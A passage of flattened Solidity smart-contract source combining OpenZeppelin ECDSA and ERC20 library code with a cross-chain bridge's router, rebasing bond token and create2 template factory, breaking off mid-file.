RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; pragma abicoder v2; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "./libraries/ProofParser.sol"; import "./interfaces/ICrossChainBridge.sol"; import "./SimpleTokenProxy.sol"; import "./InternetBondProxy.sol"; contract BridgeRouter { function peggedTokenAddress(address bridge, address fromToken) public pure returns (address) { return SimpleTokenProxyUtils.simpleTokenProxyAddress(bridge, bytes32(bytes20(fromToken))); } function peggedBondAddress(address bridge, address fromToken) public pure returns (address) { return InternetBondProxyUtils.internetBondProxyAddress(bridge, bytes32(bytes20(fromToken))); } function factoryPeggedToken(address fromToken, address toToken, ICrossChainBridge.Metadata memory metaData, address bridge) public returns (IERC20Mintable) { /* we must use delegate call because we need to deploy new contract from bridge contract to have valid address */ address targetToken = SimpleTokenProxyUtils.deploySimpleTokenProxy(bridge, bytes32(bytes20(fromToken)), metaData); require(targetToken == toToken, "bad chain"); /* to token is our new pegged token */ return IERC20Mintable(toToken); } function factoryPeggedBond(address fromToken, address toToken, ICrossChainBridge.Metadata memory metaData, address bridge, address feed) public returns (IERC20Mintable) { /* we must use delegate call because we need to deploy new contract from bridge contract to have valid address */ address targetToken = InternetBondProxyUtils.deployInternetBondProxy(bridge, bytes32(bytes20(fromToken)), metaData, feed); require(targetToken == toToken, "bad chain"); /* to token is our new pegged token */ return IERC20Mintable(toToken); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "./interfaces/IERC20.sol"; import "./interfaces/IInternetBondRatioFeed.sol"; import "./SimpleToken.sol"; import "./libraries/Utils.sol"; contract InternetBond is SimpleToken, IERC20InternetBond { IInternetBondRatioFeed public ratioFeed; bool internal _rebasing; function ratio() public view override returns (uint256) { return ratioFeed.getRatioFor(_originAddress); } function isRebasing() public view override returns (bool) { return _rebasing; } function totalSupply() public view override returns (uint256) { return _sharesToBonds(super.totalSupply()); } function balanceOf(address account) public view override returns (uint256) { return _sharesToBonds(super.balanceOf(account)); } function transfer(address recipient, uint256 amount) public override returns (bool) { uint256 shares = _bondsToShares(amount); _transfer(_msgSender(), recipient, shares, false); emit Transfer(_msgSender(), recipient, _sharesToBonds(shares)); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _sharesToBonds(super.allowance(owner, spender)); } function approve(address spender, uint256 amount) public override returns (bool) { uint256 shares = _bondsToShares(amount); _approve(_msgSender(), spender, shares, false); emit Approval(_msgSender(), spender, allowance(_msgSender(), spender)); return true; } function increaseAllowance(address spender, uint256 amount) public override returns (bool) { uint256 shares = _bondsToShares(amount); _increaseAllowance(_msgSender(), spender, shares, false); emit Approval(_msgSender(), spender, allowance(_msgSender(), spender)); return true; } function decreaseAllowance(address spender, uint256 amount) public override returns (bool) { uint256 shares = _bondsToShares(amount); _decreaseAllowance(_msgSender(), spender, shares, false); emit Approval(_msgSender(), spender, allowance(_msgSender(), spender)); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { uint256 shares = _bondsToShares(amount); _transfer(sender, recipient, shares, false); emit Transfer(sender, recipient, _sharesToBonds(shares)); _decreaseAllowance(sender, _msgSender(), shares, false); emit Approval(sender, _msgSender(), allowance(sender, _msgSender())); return true; } // NB: mint accepts amount in shares function mint(address account, uint256 shares) public onlyOwner override { require(account != address(0)); _totalSupply += shares; _balances[account] += shares; emit Transfer(address(0), account, _sharesToBonds(shares)); } // NB: burn accepts amount in shares function burn(address account, uint256 shares) public onlyOwner override { require(account != address(0)); _balances[account] -= shares; _totalSupply -= shares; emit Transfer(account, address(0), _sharesToBonds(shares)); } function _sharesToBonds(uint256 amount) internal view returns (uint256) { if (_rebasing) { uint256 currentRatio = ratio(); require(currentRatio > 0, "ratio not available"); return Utils.multiplyAndDivideCeil(amount, 10 ** decimals(), currentRatio); } else { return amount; } } function _bondsToShares(uint256 amount) internal view returns (uint256) { if (_rebasing) { uint256 currentRatio = ratio(); require(currentRatio > 0, "ratio not available"); return Utils.multiplyAndDivideFloor(amount, currentRatio, 10 ** decimals()); } else { return amount; } } function initAndObtainOwnership(bytes32 symbol, bytes32 name, uint256 originChain, address originAddress, address ratioFeedAddress, bool rebasing) external emptyOwner { super.initAndObtainOwnership(symbol, name, originChain, originAddress); require(ratioFeedAddress != address(0x0), "no ratio feed"); ratioFeed = IInternetBondRatioFeed(ratioFeedAddress); _rebasing = rebasing; } } contract InternetBondFactory { address private _template; constructor() { _template = InternetBondFactoryUtils.deployInternetBondTemplate(this); } function getImplementation() public view returns (address) { return _template; } } library InternetBondFactoryUtils { bytes32 constant internal INTERNET_BOND_TEMPLATE_SALT = keccak256("InternetBondTemplateV1"); bytes constant internal INTERNET_BOND_TEMPLATE_BYTECODE = hex"608060405234801561001057600080fd5b506110c0806100206000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806371ca337d116100ad5780639dc29fac116100715780639dc29fac1461026b578063a457c2d71461027e578063a9059cbb14610291578063dd62ed3e146102a4578063df1f29ee146102b757600080fd5b806371ca337d1461020a5780638da5cb5b146102125780638e29ebb51461023d57806394bfed881461025057806395d89b411461026357600080fd5b8063313ce567116100f4578063313ce567146101b057806339509351146101bf57806340c10f19146101d25780635dfba115146101e557806370a08231146101f757600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017257806323b872dd14610188578063265535671461019b575b600080fd5b6101396102da565b6040516101469190610e14565b60405180910390f35b61016261015d366004610d2a565b6102ec565b6040519015158152602001610146565b61017a610348565b604051908152602001610146565b610162610196366004610cee565b61035b565b6101ae6101a9366004610d93565b610400565b005b60405160128152602001610146565b6101626101cd366004610d2a565b61049e565b6101ae6101e0366004610d2a565b6104b9565b600854600160a01b900460ff16610162565b61017a610205366004610ca0565b610560565b61017a610582565b600254610225906001600160a01b031681565b6040516001600160a01b039091168152602001610146565b600854610225906001600160a01b031681565b6101ae61025e366004610d54565b610606565b610139610657565b6101ae610279366004610d2a565b610664565b61016261028c366004610d2a565b6106f9565b61016261029f366004610d2a565b610714565b61017a6102b2366004610cbb565b610752565b600654600754604080519283526001600160a01b03909116602083015201610146565b60606102e760015461078a565b905090565b6000806102f883610860565b905061030733858360006108e6565b6001600160a01b0384163360008051602061106b83398151915261032b8288610752565b60405190815260200160405180910390a360019150505b92915050565b60006102e761035660055490565b61097c565b60008061036783610860565b905061037685858360006109f9565b836001600160a01b0316856001600160a01b031660008051602061104b8339815191526103a28461097c565b60405190815260200160405180910390a36103c08533836000610ab2565b336001600160a01b03861660008051602061106b8339815191526103e48884610752565b60405190815260200160405180910390a3506001949350505050565b6002546001600160a01b03161561041657600080fd5b61042286868686610606565b6001600160a01b03821661046d5760405162461bcd60e51b815260206004820152600d60248201526c1b9bc81c985d1a5bc819995959609a1b60448201526064015b60405180910390fd5b60088054911515600160a01b026001600160a81b03199092166001600160a01b039093169290921717905550505050565b6000806104aa83610860565b90506103073385836000610b5f565b6002546001600160a01b031633146104d057600080fd5b6001600160a01b0382166104e357600080fd5b80600560008282546104f59190610e69565b90915550506001600160a01b03821660009081526003602052604081208054839290610522908490610e69565b90915550506001600160a01b038216600060008051602061104b83398151915261054b8461097c565b60405190815260200160405180910390a35050565b6001600160a01b0381166000908152600360205260408120546103429061097c565b60085460075460405163a1f1d48d60e01b81526001600160a01b039182166004820152600092919091169063a1f1d48d9060240160206040518083038186803b1580156105ce57600080fd5b505afa1580156105e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102e79190610dfb565b6002546001600160a01b03161561061c57600080fd5b60028054336001600160a01b031991821617909155600094909455600192909255600655600780549092166001600160a01b03909116179055565b60606102e760005461078a565b6002546001600160a01b0316331461067b57600080fd5b6001600160a01b03821661068e57600080fd5b6001600160a01b038216600090815260036020526040812080548392906106b6908490610fc7565b9250508190555080600560008282546106cf9190610fc7565b90915550600090506001600160a01b03831660008051602061104b83398151915261054b8461097c565b60008061070583610860565b90506103073385836000610ab2565b60008061072083610860565b905061072f33858360006109f9565b6001600160a01b0384163360008051602061104b83398151915261032b8461097c565b6001600160a01b0380831660009081526004602090815260408083209385168352929052908120546107839061097c565b9392505050565b6060816107a557505060408051600081526020810190915290565b600060105b60ff8116156107fc57836107be8284610e81565b60ff16602081106107d1576107d161101e565b1a60f81b6001600160f81b031916156107f1576107ee8183610e81565b91505b60011c607f166107aa565b50600061080a826001610e81565b60ff1667ffffffffffffffff81111561082557610825611034565b6040519080825280601f01601f19166020018201604052801561084f576020820181803683370190505b506020810194909452509192915050565b600854600090600160a01b900460ff16156108dd57600061087f610582565b9050600081116108c75760405162461bcd60e51b8152602060048201526013602482015272726174696f206e6f7420617661696c61626c6560681b6044820152606401610464565b61078383826108d86012600a610efd565b610bbc565b5090565b919050565b6001600160a01b0384166108f957600080fd5b6001600160a01b03831661090c57600080fd5b6001600160a01b038085166000908152600460209081526040808320938716835292905220829055801561097657826001600160a01b0316846001600160a01b031660008051602061106b8339815191528460405161096d91815260200190565b60405180910390a35b50505050565b600854600090600160a01b900460ff16156108dd57600061099b610582565b9050600081116109e35760405162461bcd60e51b8152602060048201526013602482015272726174696f206e6f7420617661696c61626c6560681b6044820152606401610464565b610783836109f36012600a610efd565b83610c01565b6001600160a01b038416610a0c57600080fd5b6001600160a01b038316610a1f57600080fd5b6001600160a01b03841660009081526003602052604081208054849290610a47908490610fc7565b90915550506001600160a01b03831660009081526003602052604081208054849290610a74908490610e69565b9091555050801561097657826001600160a01b0316846001600160a01b031660008051602061104b8339815191528460405161096d91815260200190565b6001600160a01b038416610ac557600080fd5b6001600160a01b038316610ad857600080fd5b6001600160a01b03808516600090815260046020908152604080832093871683529290529081208054849290610b0f908490610fc7565b90915550508015610976576001600160a01b0384811660008181526004602090815260408083209488168084529482529182902054915191825260008051602061106b833981519152910161096d565b6001600160a01b038416610b7257600080fd5b6001600160a01b038316610b8557600080fd5b6001600160a01b03808516600090815260046020908152604080832093871683529290529081208054849290610b0f908490610e69565b6000610bf9610bd4610bce8487610ea6565b85610c3e565b8385610be08289610fde565b610bea9190610fa8565b610bf49190610ea6565b610c71565b949350505050565b6000610bf9610c13610bce8487610ea6565b83610c1f600182610fc7565b86610c2a878a610fde565b610c349190610fa8565b610bea9190610e69565b600082610c4d57506000610342565b82820282848281610c6057610c60611008565b041461078357600019915050610342565b60008282018381101561078357600019915050610342565b80356001600160a01b03811681146108e157600080fd5b600060208284031215610cb257600080fd5b61078382610c89565b60008060408385031215610cce57600080fd5b610cd783610c89565b9150610ce560208401610c89565b90509250929050565b600080600060608486031215610d0357600080fd5b610d0c84610c89565b9250610d1a60208501610c89565b9150604084013590509250925092565b60008060408385031215610d3d57600080fd5b610d4683610c89565b946020939093013593505050565b60008060008060808587031215610d6a57600080fd5b843593506020850135925060408501359150610d8860608601610c89565b905092959194509250565b60008060008060008060c08789031215610dac57600080fd5b863595506020870135945060408701359350610dca60608801610c89565b9250610dd860808801610c89565b915060a08701358015158114610ded57600080fd5b809150509295509295509295565b600060208284031215610e0d57600080fd5b5051919050565b600060208083528351808285015260005b81811015610e4157858101830151858201604001528201610e25565b81811115610e53576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610e7c57610e7c610ff2565b500190565b600060ff821660ff84168060ff03821115610e9e57610e9e610ff2565b019392505050565b600082610eb557610eb5611008565b500490565b600181815b80851115610ef5578160001904821115610edb57610edb610ff2565b80851615610ee857918102915b93841c9390800290610ebf565b509250929050565b600061078360ff841683600082610f1657506001610342565b81610f2357506000610342565b8160018114610f395760028114610f4357610f5f565b6001915050610342565b60ff841115610f5457610f54610ff2565b50506001821b610342565b5060208310610133831016604e8410600b8410161715610f82575081810a610342565b610f8c8383610eba565b8060001904821115610fa057610fa0610ff2565b029392505050565b6000816000190483118215151615610fc257610fc2610ff2565b500290565b600082821015610fd957610fd9610ff2565b500390565b600082610fed57610fed611008565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a26469706673582212202704c0c85a7ffefb8570f6c29df5c6522044694561363ba9c4f84b992471d3fb64736f6c63430008060033"; bytes32 constant internal INTERNET_BOND_TEMPLATE_HASH = keccak256(INTERNET_BOND_TEMPLATE_BYTECODE); function deployInternetBondTemplate(InternetBondFactory templateFactory) internal returns (address) { /* we can use any deterministic salt here, since we don't care about it */ bytes32 salt = INTERNET_BOND_TEMPLATE_SALT; /* concat bytecode with constructor */ bytes memory bytecode = INTERNET_BOND_TEMPLATE_BYTECODE; /* deploy contract and store result in result variable */ address result; assembly { result := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } require(result != address(0x00), "deploy failed"); /* check that generated contract address is correct */ require(result == internetBondTemplateAddress(templateFactory), "address mismatched"); return result; } function internetBondTemplateAddress(InternetBondFactory templateFactory) internal pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(uint8(0xff), address(templateFactory), INTERNET_BOND_TEMPLATE_SALT, INTERNET_BOND_TEMPLATE_HASH)); return address(bytes20(hash << 96)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.6; import "./interfaces/ICrossChainBridge.sol"; contract InternetBondProxy { bytes32 private constant BEACON_SLOT = bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1); fallback() external { address bridge; bytes32 slot = 